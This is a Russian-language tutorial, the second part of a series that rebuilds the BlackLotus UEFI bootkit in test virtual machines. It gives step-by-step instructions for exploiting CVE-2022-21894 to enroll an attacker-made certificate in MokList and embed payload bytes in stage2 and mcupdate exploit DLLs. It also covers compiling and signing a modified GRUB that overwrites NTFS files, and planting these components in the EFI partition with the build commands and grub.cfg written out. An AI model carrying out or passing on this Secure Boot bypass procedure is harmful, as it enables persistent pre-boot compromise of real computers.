BlackLotus UEFI bootkit. Часть 2
Приветствую вас, дорогие читатели! Сегодня мы продолжим изучать BlackLotus UEFI bootkit. В прошлой части мы рассмотрели темы:
В предыдущей части мы выполнили следующие шаги:
1. Подготовка тестового стенда.
2. Запуск CVE-2022–21894 (baton drop).
В этой части мы сосредоточимся на следующих шагах:
3. Добавление сертификата в базу данных MOK.
4. Компиляция payload и компонентов для его выполнения.
5. Чтение и запись файлов в операционной системе Windows10 из файловой системы NTFS через grub.elf.
Отказ от ответственности
Информация, представленная в данной статье, носит исключительно информационный характер. Она не предназначена для использования в качестве профессиональной консультации или рекомендации. Автор не несет ответственности за какие-либо действия, предпринятые на основе информации, содержащейся в этой статье.
Автор не гарантирует полноту, точность или актуальность информации, а также не несет ответственность за возможный ущерб, включая утрату данных, нарушения безопасности или иные последствия, которые могут возникнуть в результате применения представленных материалов.
Использование информации осуществляется на ваш страх и риск.
Рассмотрим подробнее, зачем нам это нужно. Поскольку grub.elf компилируется вручную, он не имеет валидной цифровой подписи. В такой ситуации Secure Boot не позволит его запустить, блокируя выполнение неподтверждённого или неподписанного кода. Чтобы обойти это ограничение, мы должны подписать grub.elf и добавить подпись в MOK (Machine Owner Key), который управляет доверенными ключами системы. Это обеспечит корректный запуск на устройстве с включённым Secure Boot.
MOK — часть механизма Secure Boot, который защищает систему от загрузки поддельного или вредоносного кода на этапе инициализации. Для работы с MOK используется утилита MokManager, доступная в репозитории rhboot/shim на GitHub.
Чтобы автоматизировать процесс добавления подписи в MOK, мы планируем использовать уязвимость CVE-2022–21894. Это позволит обойти защитные ограничения и запустить payload, встроенный в grub.elf. Благодаря этому мы получим доступ к функциям чтения и записи в файлы на NTFS.
3. Добавление сертификата в базу данных MOK.
MOK (Machine Owner Key) — это сертификаты, которые добавляются пользователем для настройки доверенных ключей, используемых системой UEFI Secure Boot. В UEFI Secure Boot используется несколько ключевых переменных db, dbx и MokList, хранящихся в NVRAM, для обеспечения безопасности загрузки. NVRAM (Non-Volatile Random Access Memory) — это тип памяти, которая сохраняет данные даже после отключения питания. В контексте UEFI, NVRAM — это область памяти на материнской плате, куда записываются настройки и переменные UEFI, которые нужны для работы системы. Эти переменные сохраняются после перезагрузки или выключения компьютера.
— db (database)— основная база доверенных сертификатов. Это переменная, в которой хранятся доверенные сертификаты и хеши. Эти сертификаты используются для проверки подписи каждого компонента (загрузчика, драйвера и т. д.) при загрузке системы. Если сертификат или хеш компонента присутствует в `db`, то этот компонент считается доверенным, и его загрузка разрешена. Обычно в `db` хранятся ключи, подписанные производителями оборудования или операционных систем, такими как Microsoft. Это позволяет Secure Boot доверять стандартным загрузчикам операционных систем, драйверам и обновлениям.
— dbx (forbidden signatures database) — список заблокированных сертификатов. Это переменная, в которой хранятся сертификаты и хеши компонентов, загрузка которых запрещена. Этот список также называют списком заблокированных сертификатов. Если сертификат или хеш компонента присутствует в `dbx`, то его загрузка блокируется, даже если он есть в `db` или `MokList`. Это позволяет отклонять известные уязвимые или устаревшие компоненты. Производители ОС (например, Microsoft) периодически обновляют `dbx`, чтобы добавлять в него ключи устаревших или уязвимых загрузчиков и драйверов, предотвращая их загрузку.
— MokList — дополняет переменные `db` и `dbx` и создаёт более гибкую систему управления загрузочными компонентами. `MokList` (Machine Owner Key List) используется для хранения дополнительных сертификатов, которые пользователь или администратор системы добавил вручную. Пользователь может добавить свои сертификаты, например, с помощью утилиты `mokutil` в Linux, а затем подтвердить изменения через MOK Manager (rhboot/shim) при перезагрузке операционной системы.
Мы напишем свой код (кодовая база взята из проекта rhboot/shim), который будет добавлять нашу подпись в MokList. Этот код мы запустим с помощью CVE-2022–21894.
Начнем с подготовки среды для компиляции кода, среду будем подготавливать в виртуальной машине Windows 10×64-BatonDrop созданной в первой части статьи:
Установим nasm https://www.nasm.us/pub/nasm/releasebuilds/2.16.01/win64/, после установки nasm, необходимо прописать nasm в переменную Path= C:\Users\user\AppData\Local\bin\NASM и добавить переменную NASM_PREFIX= C:\Users\user\AppData\Local\bin\NASM\
Переходим в папку C:\VisualUefi\EDK-II и запускаем проект EDK-II с помощью visual studio 2017
Компилируем проект EDK-II
Скачиваем проект MyMOKManager с github (https://github.com/roman5888/BlackLotus-UEFI/tree/main/samples/MyMOKManager), кладем его в папку C:\VisualUefi\samples\, запускаем проект MyMOKManager в Visual Studio и компилируем его
Копируем MyMOKManager.efi и кладем рядом с разделом EFI. Это необходим для проверки корректности работы MyMOKManager.efi, чтобы убедиться, что он запускается и выполняет свои функции без ошибок.
Выключаем виртуальную машину Windows 10×64-BatonDrop
Замечание: чтобы запустить UEFI Shell необходимо отключить Secure Boot у виртуальной машины.
Перейдем в UEFI Shell:
И запустим MyMOKManager.efi для проверки работоспособности:
4. Компиляция компонентов для запуска MyMOKManager.efi.
После того как мы научились добавлять свой сертификат в MokList. Нам необходимо запустить MyMOKManager.efi из контекста загрузочной среды UEFI, для этого воспользуемся CVE-2022–21894, которая состоит из двух частей.
Вторая часть CVE-2022–21894- это приложение, которое переключается в контекст прошивки (FiremareContext), что позволяет запустить MyMOKManager.efi. Скачиваем проект stage2 с github (https://github.com/roman5888/BlackLotus-UEFI/tree/main/samples/stage2), кладем его в папку C:\VisualUefi\samples\. Кодовая база для проекта stage2 взята из https://github.com/Wack0/batondrop_armv7/blob/master/src/stage2.c
Открываем MyMOKManager.efi в HxD (https://mh-nexus.de/en/hxd/)
Выделяем полностью байт код ctrl+A и копируем
Теперь открываем проект stage2 в VisualUefi и копируем байт код в массив PayloadBase из HxD и удаляем ненужный участок кода
Дальше компилируем stage2.
Первая часть CVE-2022–21894 — это mcupdate…dll, которая работает в контексте приложения (AplicatinContext) и запускает stage2. Скачиваем проект mcupdate с github (https://github.com/roman5888/BlackLotus-UEFI/tree/main/samples/mcupdate), кладем его в папку C:\VisualUefi\samples\.
Кодовая база взята из проекта https://github.com/ASkyeye/CVE-2022–21894-Payload/blob/master/main.cОткрываем stage2.dll в HxD
Выделяем полностью байт код ctrl+A и копируем
Теперь открываем проект mcupdate в VisualUefi и копируем байт код в массив efiApp из HxD и удаляем ненужный участок кода
Дальше компилируем mcupdate.
И копируем mcupdate.dll на флешку в папку EFI.
5. Чтение и запись файлов в операционной системе Windows10 из файловой системы NTFS через grub.elf.
В этой части мы начнем с установки Ubuntu, чтобы извлечь из нее ключевые модули, обеспечивающие загрузку операционной системы, включая shim и связанные компоненты. Затем внесем собственный код в grub. После этого скомпилируем обновленный grubx64.efi и подпишем его для дальнейшего использования. В конце мы соберем все компоненты вместе и перезапишем файл в Windows 10.
Cкачаем Ubuntu с https://archive.org/details/ubuntu-18-and-20
Прежде чем приступить к установке Ubuntu 20.04.2, необходимо установить Windows 10. Это связано с тем, что Windows 10 понадобится для проверки корректной работы системы. Кроме того, установка Windows позволяет активировать функцию Secure Boot, которая в случае установки только Ubuntu 20.04.2 остаётся недоступной для включения, так как соответствующая опция не актива.
Создадим виртуальную машину Windows 10×64 (2) с Windows 10
Включим secure boot в настройках виртуальной машины Windows 10×64 (2)
Дождемся установки Windows 10 и выключим виртуальную машину Windows 10×64 (2)
Замечание: Так как Ubuntu 20.04.2 скачен не с официального сайта, будьте с ним осторожным.
Для установки Ubuntu 20.04.2 на виртуальную машину с Windows 10×64 (2) потребуется выбрать соответствующий ISO-образ операционной системы и подключить его к виртуальному дисководу.
Создадим жесткий диск, на который установим Ubuntu 20.04.2
Отключаем интернет на виртуальной машине Windows 10×64 (2). Это необходимо сделать, чтобы избежать обновления Ubuntu 20.04.2, которое приведёт к установке корректной версии shim.
Теперь запускаем виртуальную машину Windows 10×64 (2)
В grub выбираем установку
Дальше мы устанавливаем Ubuntu 20.04.2 и просто жмем далее…
Выключаем виртуальную машину Windows 10×64 (2)
Включим интернет на виртуальной машине Windows 10×64 (2)
Включаем виртуальную машину Windows 10×64 (2) и выбираем Ubuntu 20.04.2
После того как мы установили Ubuntu 20.04.2 нам необходимо скопировать папку EFI на usb флешку, мы вернемся к этой папке позже.
После завершения установки Ubuntu и успешного извлечения shim вместе со всеми необходимыми компонентами, следующим шагом станет загрузка GRUB (GitHub — a1ive/grub: Fork of GRUB 2 to add various features.).
wget https://github.com/a1ive/grub/archive/refs/heads/master.zip
unzip master.zip
cd grub-master
Далее мы полностью заменим код в файле grub-core/commands/cat.c
на наш собственный, этот код работет с файловой системой NTFS. Исходный код можно найти и загрузить из репозитория на GitHub (https://github.com/roman5888/BlackLotus-UEFI/blob/main/cat.c).
Дальше скомпилируем grub и для этого проделаем следующие шаги
apt-get update
apt-get install gcc make autoconf automake bison flex libdevmapper-dev libzfslinux-dev liblzma-dev binutils gettext unifont xz-utils libfreetype-dev libfreetype6-dev autopoint libtool-bin libtool pkg-config git
./bootstrap
./configure --target=x86_64 --with-platform=efi
make
make install
cd grub-core
…/grub-mkimage -O x86_64-efi -p »(hd0, gpt1)/EFI/ubuntu» -o grubx64.efi part_gpt probe part_msdos linux16 ntfs ntfscomp hfsplus fat exfat xzio ext2 normal chain boot configfile linux efi_uga loopback gfxterm videoinfo ls file efi_gop all_video video video_fb loadenv help reboot raid6rec raid5rec mdraid1x mdraid09 lvm diskfilter zfsinfo zfscrypt gcry_rijndael gcry_sha1 zfs true test sleep search search_fs_uuid search_fs_file search_label png password_pbkdf2 gcry_sha512 pbkdf2 part_apple minicmd memdisk lsacpi lssal lsefisystab lsefimmap lsefi disk keystatus jpeg iso9660 halt gfxterm_background gfxmenu trig bitmap_scale video_colors bitmap font fshelp efifwsetup echo terminal gettext efinet net priority_queue datetime bufio cat btrfs gzio lzopio crypto acpi extcmd mmap ntfs
Зачечание: »(hd0, gpt1)/EFI/ubuntu» — это путь где лежит grub.cfg файл.
Теперь необходимо подписать grubx64.elf, для этого выполним следующие команды
Создаем конфигурационный файл openssl.cnf
openssl req -config ./openssl.cnf -new -x509 -newkey rsa:2048 -nodes -days 3650 -outform DER -keyout MOK.key -out MOK.der
openssl x509 -in MOK.der -inform DER -outform PEM -out MOK.pem
sbsign --key MOK.key --cert MOK.pem grubx64.efi --output grubx64.efi.signed
Теперь проверим, что подпись и файл grubx64.efi работают, для этого сделаем snapshot виртуальной машины Windows 10×64 (2).
После snapshot«a скопируем grubx64.efi.signed в /boot/etf/ETF/ubuntu/grubx64.efi
Добавим MOK.der в MokList
Выключим и включим виртуальную машину Windows 10×64 (2), при включении выберем ubuntu
Диалоговое окно Shim UEFI key management показывает, что необходимо подтвердить сертификата MOK.der, пароль мы задавали с помощью утилиты mokutil
Замечание: Если не подтвердить или что то не так с сертификатом MOK.der, появиться ошибка
И после перезагрузки видим, что запускается grub 2.11
Теперь вернемся к snapshot good
И скопируем grubx64.efi.signed grubx64.efi MOK.der MOK.pem MOK.key на usb флешку
В заключении нам необходимо собрать все компоненты вместе и запустить poc
Запускаем виртуальную машину Windows 10×64-BatonDrop, созданную в первой части статьи, чтобы продолжить работу в подготовленной среде. Однако, на всякий случай, повторим все необходимые шаги.
Начнём с примонтировать «Системного раздела EFI».
Add-PartitionAccessPath -DiskNumber 0 -PartitionNumber 1 -AccessPath 'E:'
Создадим копию оригинального файла BCD и назовём её BCDR.
Импортируем bcd файл из poc_amd64_19041.iso с помощью bcdedit.exe.
Копируем файлы из poc_amd64_19041.iso (https://github.com/Wack0/CVE-2022–21894/blob/main/pocs/poc_amd64_19041.iso) в системный раздел. (Total Commander нужно запускать с правами администратора).
Копируем с флешки файл F:\EFI\ mcupdate.dll в E:\system32\mcupdate_GenuineIntel.dll и копируем с флешки файл F:\EFI\ mcupdate.dll в E:\system32\mcupdate_AuthenticAMD.dll
Копируем с флешки папку F:\EFI\ubuntu в E:\EFI\ubuntu
Копируем с флешки файл F:\EFI\grubx64.efi.signed в E:\EFI\ubuntu\grubx64.efi
Копируем в E:\EFI\ubuntu\grub.cfg следующий код
menuentry 'Windows 10' {
insmod part_gpt
insmod fat
insmod cat
cat
probe --set devuuid --fs-uuid (hd0,gpt1)
search --fs-uuid --set=root $devuuid
chainloader /EFI/Microsoft/Boot/bootmgfw.efi
clear
}
Копируем с флешки файл F:\EFI\Boot\fbx64.efi в E:\EFI\Boot\fbx64.efi
Создадим папку certs в E:\EFI и скопируем с флешки файл F:\EFI\MOK.der в E:\EFI\certs\MOK.der
Создадим файл test.txt на рабочем столе, этот файл будет изменен с помощью добавленного нами кода в grubx64.efi
Выключаем виртуальную машину Windows 10×64-BatonDrop
Проверим что «Virtualize Intel VT-x/EPT or AMD-V/RVI» и «Enable secure boot» включены
Включаем виртуальную машину Windows 10×64-BatonDrop
Мы наблюдаем срабатывание уязвимости CVE-2022–21894 (baton drop).
Перезапускаем виртуальную машину Windows 10×64-BatonDrop, после чего перед нами появляется загрузочное меню GRUB 2.11. В этом меню выбираем Windows 10 для продолжения работы.
После выбора Windows 10 в GRUB, загрузчик выполняет код, который активирует систему и инициализирует необходимые процессы. В рамках этого процесса выполнено действие по перезаписи файла test.txt, расположенного на рабочем столе пользователя в C:\Users\user\Desktop\
В заключение, после выполнения всех операций и завершения процесса загрузки, мы можем обнаружить, что файл test.txt, находившийся на рабочем столе пользователя по пути C:\Users\user\Desktop\, был успешно перезаписан. Этот файл теперь содержит обновлённые данные, отражающие результаты завершённой операции, произошедших в ходе работы системы.
Такое завершение процесса подчеркивает итоговую трансформацию данных, а сам файл test.txt становится наглядным подтверждением выполненной задачи по изменению файла.